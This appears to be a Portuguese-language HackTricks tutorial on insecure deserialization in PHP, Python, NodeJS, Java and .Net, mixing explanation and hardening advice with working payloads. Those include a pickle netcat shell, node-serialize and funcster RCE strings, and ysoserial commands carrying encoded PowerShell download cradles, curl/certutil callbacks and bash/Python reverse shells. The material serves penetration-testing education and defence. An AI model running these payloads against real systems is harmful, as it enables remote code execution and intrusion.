Deserialization

Reading time: 44 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Serialização é entendida como o método de converter um objeto em um formato que pode ser preservado, com a intenção de armazenar o objeto ou transmiti-lo como parte de um processo de comunicação. Essa técnica é comumente empregada para garantir que o objeto possa ser recriado posteriormente, mantendo sua estrutura e estado.

Desserialização, por outro lado, é o processo inverso da serialização. Envolve pegar dados que foram estruturados em um formato específico e reconstruí-los de volta em um objeto.

A desserialização pode ser perigosa porque potencialmente permite que atacantes manipulem os dados serializados para executar código malicioso ou causem comportamento inesperado na aplicação durante o processo de reconstrução do objeto.

PHP

No PHP, métodos mágicos específicos são utilizados durante os processos de serialização e desserialização:

  • __sleep: Invocado quando um objeto está sendo serializado. Esse método deve retornar um array com os nomes de todas as propriedades do objeto que devem ser serializadas. É comumente usado para gravar dados pendentes ou executar tarefas de limpeza semelhantes.
  • __wakeup: Chamado quando um objeto está sendo desserializado. É usado para restabelecer quaisquer conexões de banco de dados que possam ter sido perdidas durante a serialização e executar outras tarefas de reinicialização.
  • __unserialize: Esse método é chamado em vez de __wakeup (se existir) quando um objeto está sendo desserializado. Ele oferece mais controle sobre o processo de desserialização em comparação com __wakeup.
  • __destruct: Esse método é chamado quando um objeto está prestes a ser destruído ou quando o script termina. Tipicamente é usado para tarefas de limpeza, como fechar descritores de arquivo ou conexões de banco de dados.
  • __toString: Esse método permite que um objeto seja tratado como uma string. Pode ser usado para ler um arquivo ou outras tarefas baseadas nas chamadas de função dentro dele, efetivamente fornecendo uma representação textual do objeto.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se você olhar para os resultados pode ver que as funções __wakeup e __destruct são chamadas quando o objeto é desserializado. Note que em vários tutoriais você encontrará que a função __toString é chamada ao tentar imprimir algum atributo, mas aparentemente isso não acontece mais.

warning

O método __unserialize(array $data) é chamado em vez de __wakeup() se estiver implementado na classe. Ele permite desserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para desserializar propriedades e executar quaisquer tarefas necessárias ao desserializar.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Você pode ler um exemplo PHP explicado aqui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aqui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou aqui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Você pode abusar da funcionalidade PHP autoload para carregar arquivos php arbitrários e mais:

PHP - Deserialization + Autoload Classes

Serializando Valores Referenciados

Se, por algum motivo, você quiser serializar um valor como uma referência para outro valor serializado você pode:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prevenindo PHP Object Injection com allowed_classes

info

Suporte para o segundo argumento de unserialize() (o array $options) foi adicionado no PHP 7.0. Em versões mais antigas a função aceita apenas a string serializada, tornando impossível restringir quais classes podem ser instanciadas.

unserialize() irá instanciar cada classe que encontrar dentro do fluxo serializado, a menos que seja instruída de outra forma. Desde o PHP 7 o comportamento pode ser restringido com a opção allowed_classes:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Se allowed_classes for omitido ou o código for executado em PHP < 7.0, a chamada torna-se perigosa, pois um atacante pode criar um payload que abuse de métodos mágicos como __wakeup() ou __destruct() para conseguir Remote Code Execution (RCE).

Exemplo real: Everest Forms (WordPress) CVE-2025-52709

O plugin do WordPress Everest Forms ≤ 3.2.2 tentou ser defensivo com um wrapper auxiliar, mas esqueceu das versões legadas do PHP:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Em servidores que ainda executavam PHP ≤ 7.0 esse segundo ramo levava a uma clássica PHP Object Injection quando um administrador abria um envio de formulário malicioso. Um exploit payload mínimo poderia ser parecido com:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Assim que o admin visualizou a entrada, o objeto foi instanciado e SomeClass::__destruct() foi executado, resultando em execução arbitrária de código.

Principais lições

  1. Sempre passe ['allowed_classes' => false] (ou uma white-list estrita) ao chamar unserialize().
  2. Audite wrappers defensivos – eles frequentemente esquecem das ramificações legadas do PHP.
  3. Atualizar apenas para PHP ≥ 7.x não é suficiente: a opção ainda precisa ser fornecida explicitamente.

PHPGGC (ysoserial for PHP)

PHPGGC pode ajudar a gerar payloads para abusar de deserializações do PHP.
Note que, em vários casos, você não conseguirá encontrar uma forma de abusar de uma deserialização no código-fonte da aplicação, mas pode ser capaz de abusar do código de extensões PHP externas.
Portanto, se possível, verifique o phpinfo() do servidor e pesquise na internet (e até mesmo nos gadgets do PHPGGC) por algum gadget que você possa abusar.

phar:// metadata deserialization

Se você encontrou um LFI que apenas lê o arquivo e não executa o php code dentro dele, por exemplo usando funções como file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Você pode tentar abusar de uma deserialização ocorrendo quando lendo um file usando o protocolo phar.
Para mais informações leia o seguinte post:

phar:// deserialization

Python

Pickle

Quando o objeto é unpickled, a função ___reduce___ será executada.
Ao ser explorado, o servidor pode retornar um erro.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Antes de verificar a técnica de bypass, tente usar print(base64.b64encode(pickle.dumps(P(),2))) para gerar um objeto compatível com python2 se você estiver executando python3.

Para mais informações sobre escapar de pickle jails consulte:

Bypass Python sandboxes

Yaml & jsonpickle

A página a seguir apresenta a técnica para abusar de uma desserialização insegura em bibliotecas yaml do Python e termina com uma ferramenta que pode ser usada para gerar payloads de RCE por desserialização para Pickle, PyYAML, jsonpickle e ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

JS Funções "mágicas"

JS não tem funções "mágicas" como PHP ou Python que serão executadas apenas por criar um objeto. Mas ele possui algumas funções que são frequentemente usadas mesmo sem serem chamadas diretamente, como toString, valueOf, toJSON.
Ao abusar de uma desserialização, se você conseguir comprometer essas funções para executar outro código (potencialmente explorando prototype pollutions), poderá executar código arbitrário quando elas forem chamadas.

Outra "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ e prototype pollution

Se quiser aprender sobre esta técnica, dê uma olhada no tutorial a seguir:

NodeJS - proto & prototype Pollution

node-serialize

Esta biblioteca permite serializar funções. Exemplo:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

O objeto serializado ficará assim:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Você pode ver no exemplo que quando uma função é serializada a flag _$$ND_FUNC$$_ é anexada ao objeto serializado.

Dentro do arquivo node-serialize/lib/serialize.js você pode encontrar a mesma flag e como o código a está usando.

Como você pode ver no último trecho de código, se a flag for encontrada eval é usado para desserializar a função, então basicamente a entrada do usuário está sendo usada dentro da função eval.

No entanto, apenas serializar uma função não a executará, pois seria necessário que alguma parte do código estivesse chamando y.rce no nosso exemplo e isso é altamente improvável.
De qualquer forma, você poderia simplesmente modificar o objeto serializado adicionando alguns parênteses para executar automaticamente a função serializada quando o objeto for desserializado.
No próximo trecho de código observe o último parêntese e como a função unserialize executará automaticamente o código:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Como foi indicado anteriormente, esta biblioteca irá obter o código após_$$ND_FUNC$$_ e irá executá-lo usando eval. Portanto, para auto-executar código você pode excluir a parte de criação da função e o último parêntese e simplesmente executar um oneliner JS como no exemplo a seguir:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Você pode find here mais informações sobre como explorar esta vulnerabilidade.

funcster

Um aspecto notável do funcster é a inacessibilidade dos objetos embutidos padrão; eles ficam fora do escopo acessível. Essa restrição impede a execução de código que tente invocar métodos nesses objetos embutidos, levando a exceções como "ReferenceError: console is not defined" quando comandos como console.log() ou require(something) são usados.

Apesar dessa limitação, a restauração do acesso completo ao contexto global, incluindo todos os objetos embutidos padrão, é possível por meio de uma abordagem específica. Ao aproveitar o contexto global diretamente, é possível contornar essa restrição. Por exemplo, o acesso pode ser restabelecido usando o snippet a seguir:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Para mais informações leia esta fonte.

serialize-javascript

O pacote serialize-javascript é projetado exclusivamente para fins de serialization, não possuindo quaisquer capacidades de deserialization embutidas. Os usuários são responsáveis por implementar seu próprio método de deserialization. O uso direto de eval é sugerido pelo exemplo oficial para deserializing serialized data:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Se esta função for usada para deserialize objects, você pode easily exploit it:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Para more information read this source.

Biblioteca Cryo

Nas páginas seguintes você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:

Java - HTTP

Em Java, deserialization callbacks são executados durante o processo de deserialization. Essa execução pode ser explorada por atacantes que criam payloads maliciosos que acionam esses callbacks, levando à potencial execução de ações prejudiciais.

Impressões digitais

White Box

Para identificar potenciais vulnerabilidades de serialization na base de código, procure por:

  • Classes que implementam a interface Serializable.
  • Uso de java.io.ObjectInputStream, das funções readObject, readUnshare.

Preste atenção especial a:

  • XMLDecoder utilizado com parâmetros definidos por usuários externos.
  • O método fromXML do XStream, especialmente se a versão do XStream for menor ou igual a 1.46, pois é suscetível a problemas de serialization.
  • ObjectInputStream em conjunto com o método readObject.
  • Implementação de métodos como readObject, readObjectNodData, readResolve, ou readExternal.
  • ObjectInputStream.readUnshared.
  • Uso geral de Serializable.

Black Box

Para testes Black Box, procure por assinaturas específicas ou "Magic Bytes" que denotam java serialized objects (originating from ObjectInputStream):

  • Padrão hexadecimal: AC ED 00 05.
  • Padrão Base64: rO0.
  • Cabeçalhos de resposta HTTP com Content-type definido como application/x-java-serialized-object.
  • Padrão hexadecimal indicando compressão prévia: 1F 8B 08 00.
  • Padrão Base64 indicando compressão prévia: H4sIA.
  • Arquivos web com extensão .faces e o parâmetro faces.ViewState. Encontrar esses padrões em uma aplicação web deve levar a um exame conforme detalhado no post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verifique se é vulnerável

Se você quer aprender como funciona um Java Deserialized exploit deve dar uma olhada em Basic Java Deserialization, Java DNS Deserialization, e CommonsCollection1 Payload.

SignedObject-gated deserialization e pre-auth reachability

Codebases modernas às vezes encapsulam deserialização com java.security.SignedObject e validam uma assinatura antes de chamar getObject() (que desserializa o objeto interno). Isso previne arbitrary top-level gadget classes mas ainda pode ser explorável se um atacante conseguir obter uma assinatura válida (por exemplo, comprometimento da chave privada ou um signing oracle). Adicionalmente, fluxos de tratamento de erro podem criar tokens vinculados à sessão para usuários não autenticados, expondo sinks protegidos antes da autenticação.

Para um estudo de caso concreto com requisições, IoCs, e orientações de hardening, veja:

Java Signedobject Gated Deserialization

White Box Test

Você pode verificar se há algum aplicativo instalado com vulnerabilidades conhecidas.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Você pode tentar verificar todas as bibliotecas conhecidas por serem vulneráveis e para as quais Ysoserial pode fornecer um exploit. Ou você pode checar as bibliotecas indicadas em Java-Deserialization-Cheat-Sheet.
Você também pode usar gadgetinspector para procurar possíveis gadget chains que possam ser explorados.
Ao executar gadgetinspector (após compilá-lo) não se preocupe com as dezenas de warnings/errors que ele exibirá e deixe-o terminar. Ele gravará todas as descobertas em gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Por favor, note que gadgetinspector não cria um exploit e pode indicar falsos positivos.

Black Box Test

Usando a extensão do Burp gadgetprobe você pode identificar quais bibliotecas estão disponíveis (e até as versões). Com essa informação pode ser mais fácil escolher um payload para explorar a vulnerabilidade.
Leia isto para saber mais sobre GadgetProbe.
GadgetProbe está focado em ObjectInputStream deserializations.

Usando a extensão do Burp Java Deserialization Scanner você pode identificar bibliotecas vulneráveis exploráveis com ysoserial e explorá-las.
Leia isto para saber mais sobre Java Deserialization Scanner.
Java Deserialization Scanner está focado em deserializações ObjectInputStream.

Você também pode usar Freddy para detectar vulnerabilidades de deserialização no Burp. Este plugin detectará não apenas vulnerabilidades relacionadas a ObjectInputStream, mas também vulns de bibliotecas de deserialização Json e Yml. Em modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.
Você pode encontrar mais informações sobre Freddy aqui.

Teste de Serialização

Nem tudo é verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes você pode ser capaz de alterar os dados dentro do objeto serializado e contornar algumas verificações (talvez concedendo privilégios de admin dentro de uma aplicação web).
Se você encontrar um objeto java serializado sendo enviado para uma aplicação web, você pode usar SerializationDumper para imprimir em um formato mais legível o objeto serializado que está sendo enviado. Saber quais dados você está enviando facilita modificá-los e contornar algumas verificações.

Exploit

ysoserial

A principal ferramenta para explorar deserializações Java é ysoserial (download here). Você também pode considerar usar ysoseral-modified que permitirá usar comandos complexos (com pipes, por exemplo).
Note que esta ferramenta é focada em explorar ObjectInputStream.
Eu começaria usando o payload "URLDNS" antes de um payload RCE para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não funcione, mas outro payload RCE sim.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Ao criar um payload para java.lang.Runtime.exec() você não pode usar caracteres especiais como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo passar argumentos para um comando separados por espaços (você pode fazer echo -n "hello world" mas não pode fazer python2 -c 'print "Hello world"'). Para codificar corretamente o payload você pode usar esta página.

Sinta-se à vontade para usar o script abaixo para criar todos os possíveis payloads de execução de código para Windows e Linux e então testá-los na página web vulnerável:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Você pode usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto com ysoserial para criar mais exploits. Mais informações sobre esta ferramenta nos slides da palestra em que a ferramenta foi apresentada: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec pode ser usado para gerar payloads para explorar diferentes Json e Yml bibliotecas de serialização em Java.
Para compilar o projeto precisei adicionar estas dependências ao pom.xml:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instale o maven, e compile o projeto:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leia mais sobre esta biblioteca Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Por que

Java usa muita serialização para vários propósitos como:

  • HTTP requests: A serialização é amplamente empregada no gerenciamento de parâmetros, ViewState, cookies, etc.
  • RMI (Remote Method Invocation): O protocolo Java RMI, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
  • RMI over HTTP: Este método é comumente usado por aplicações web de cliente pesado baseadas em Java, utilizando serialização para todas as comunicações de objetos.
  • JMX (Java Management Extensions): JMX utiliza serialização para transmitir objetos pela rede.
  • Custom Protocols: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, o que será demonstrado em exemplos de exploit a seguir.

Prevenção

Objetos transient

Uma classe que implementa Serializable pode marcar como transient qualquer objeto dentro da classe que não deva ser serializável. Por exemplo:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitar a Serialization de uma classe que precisa implementar Serializable

Em cenários onde certos objetos devem implementar a Serializable devido à hierarquia de classes, existe o risco de desserialização não intencional. Para evitar isso, assegure que esses objetos não sejam desserializáveis definindo um método final readObject() que sempre lança uma exceção, como mostrado abaixo:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Aprimorando a Segurança de Deserialization em Java

Customizando java.io.ObjectInputStream é uma abordagem prática para proteger processos de deserialization. Este método é adequado quando:

  • O código de deserialization está sob seu controle.
  • As classes esperadas para deserialization são conhecidas.

Sobrescreva o método resolveClass() para limitar a deserialization apenas às classes permitidas. Isso previne a deserialization de qualquer classe exceto aquelas explicitamente permitidas, como no exemplo a seguir que restringe a deserialization apenas à classe Bicycle:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Usando um Java Agent para Aprimoramento de Segurança oferece uma solução alternativa quando a modificação do código não é possível. Este método aplica-se principalmente para blacklisting harmful classes, usando um parâmetro JVM:

-javaagent:name-of-agent.jar

Ele fornece uma forma de proteger a desserialização dinamicamente, ideal para ambientes onde alterações imediatas no código são impraticáveis.

Veja um exemplo em rO0 by Contrast Security

Implementando Filtros de Serialização: Java 9 introduziu filtros de serialização via a interface ObjectInputFilter, fornecendo um mecanismo poderoso para especificar critérios que objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por stream, oferecendo um controle granular sobre o processo de desserialização.

Para utilizar filtros de serialização, você pode definir um filtro global que se aplique a todas as operações de desserialização ou configurá-lo dinamicamente para streams específicos. Por exemplo:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Aproveitando Bibliotecas Externas para Segurança Aprimorada: Bibliotecas como NotSoSerial, jdeserialize e Kryo oferecem recursos avançados para controlar e monitorar Java deserialization. Essas bibliotecas podem fornecer camadas adicionais de segurança, como whitelisting ou blacklisting de classes, analisar objetos serialized antes da deserialization e implementar estratégias customizadas de serialization.

  • NotSoSerial intercepta processos de deserialization para prevenir a execução de código não confiável.
  • jdeserialize permite a análise de objetos Java serialized sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
  • Kryo é um framework alternativo de serialization que enfatiza velocidade e eficiência, oferecendo estratégias configuráveis de serialization que podem aumentar a segurança.

References

JNDI Injection & log4Shell

Encontre o que é JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell (e um exemplo desta vuln) na página a seguir:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API é uma API Java message-oriented middleware para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema producer–consumer. JMS faz parte da Java Platform, Enterprise Edition (Java EE), e foi definida por uma especificação desenvolvida pela Sun Microsystems, mas que desde então é guiada pelo Java Community Process. É um padrão de messaging que permite que componentes de aplicação baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma loosely coupled, reliable e asynchronous. (From Wikipedia).

Products

Existem vários produtos que usam esse middleware para enviar mensagens:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Basicamente existem vários serviços usando JMS de maneira perigosa. Portanto, se você tiver privilégios suficientes para enviar mensagens para esses serviços (normalmente será necessário credenciais válidas) você pode conseguir enviar malicious objects serialized que serão deserialized pelo consumer/subscriber.
Isso significa que nessa exploração todos os clients que forem usar essa mensagem serão infectados.

Você deve lembrar que mesmo que um serviço seja vulnerável (porque está inseguramente desserializando input do usuário) você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.

A ferramenta JMET foi criada para conectar e atacar esses serviços enviando vários malicious objects serialized usando gadgets conhecidos. Esses exploits irão funcionar se o serviço ainda for vulnerável e se algum dos gadgets usados estiver presente na aplicação vulnerável.

References

.Net

No contexto do .Net, exploits de deserialization operam de maneira análoga às encontradas em Java, onde gadgets são explorados para executar código específico durante a deserialization de um objeto.

Fingerprint

WhiteBox

O código-fonte deve ser inspecionado em busca de ocorrências de:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

O foco deve ser em serializers que permitem o tipo ser determinado por uma variável sob controle do usuário.

BlackBox

